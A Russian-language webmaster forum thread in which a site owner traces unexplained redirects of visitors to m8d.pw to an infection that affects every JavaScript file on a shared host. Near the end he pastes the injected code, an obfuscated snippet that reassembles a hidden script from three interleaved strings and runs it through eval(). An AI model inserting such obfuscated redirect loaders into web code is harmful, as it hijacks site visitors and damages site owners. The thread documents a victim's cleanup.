Как найти на сайте кликандер

Суть вопроса
Недавно начали рости отказы
Сегодня в ли в переходах на сайты заметил переходы на сайт m8d.pw не реклама
Видимо сайт ломанули, перепроверил все js все гуд, разве что в соц.замке что-то

 

Стоит moonwalk ? Если .co то они и на вап льют. Если .cc то просто кликандер, коль сайт молодой, отпиши в ТП временно отключат.

 

с чего ты взял что это кликандер.это может быть у пользователей баузер заражен http://searchengines.guru/showthread.php?t=908558

 

сними нахрен соц.замок.

 

Давно отключили в тп

Думаешь в нем дело

Хм, я даже сам один ращ на него попался, дополнений в браузере нет
Зашел на главную кликнул на пустом месте, ушел на m8d

 

дле и шаб 100% чистые? ломануть не могли? Сравнивай файлы двигла с оригиналом и найдёшь заразу, если нет - то в шаблоне или htaccess

 

Обычно люди ищущие фильм открывают несколько вкладок. И чтобы посмотреть фильм нужно щелкать и ждать... Нахрен надо. Лучше зайти на другой сайт

 

Бля снова пошел траф и появились переходы без ссылки по ЛИ
Где искать подскажете?

 

@Расим, Пакуешь сайт в winrar затем

 

Полезно, буду пробовать

 

Переходы на домены m8d.pw sartirt.ru cataloguing.ru addplugin2.com http://clike.su/
Ничего этим способом не нашёл,через вебвизор видно что больше 70% аудитории уходят на m8d.pw за счёт этого бешенные отказы

Это тоже пробовал,сейчас поставил
Но перестаёт грузить трейлеры и в общем мешает работать многим js либо же я неправильно настроил
Так-же пропали кнопки поделится от яндекса хотя https://yastatic.net добавлен в исключения

Поделись конфигом если сделал,буду признателен

 

@Расим, я убрал давно уже,всю рекламу режет

 

Проблему нашел, сижу на одном хосте с братом а он умудрился повестись на развод от catalguing.ru

Видимо на сервере шелл
Сегодня буду сносить все под ноль

 

не сноси, я знаю что делать.
Проверь все файлы *js и index.php на посторонний код.

 

Смотрел
Не могу найти

 

как бы эту падлу наказать cataloguing.ru?

 

Да вот тоже думаю над этим

Нашёл эту сучку
Вот код

Code:

.call(this);(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());

Заражены были все js,сейчас чекаю остальные файлы

 

ДА-да-да! Это именно оно!

 

Вот с-ка а я думаю почему отказы под 60%
Зачистил все js этим методом,посмотрим как будет,кстати заражены все сайте в /www/ что бля очень не очень.

 

легко проверить. заходи на сайт через https://www.proxysite.com/ru/ повыбирай серверы и посмотри как грузится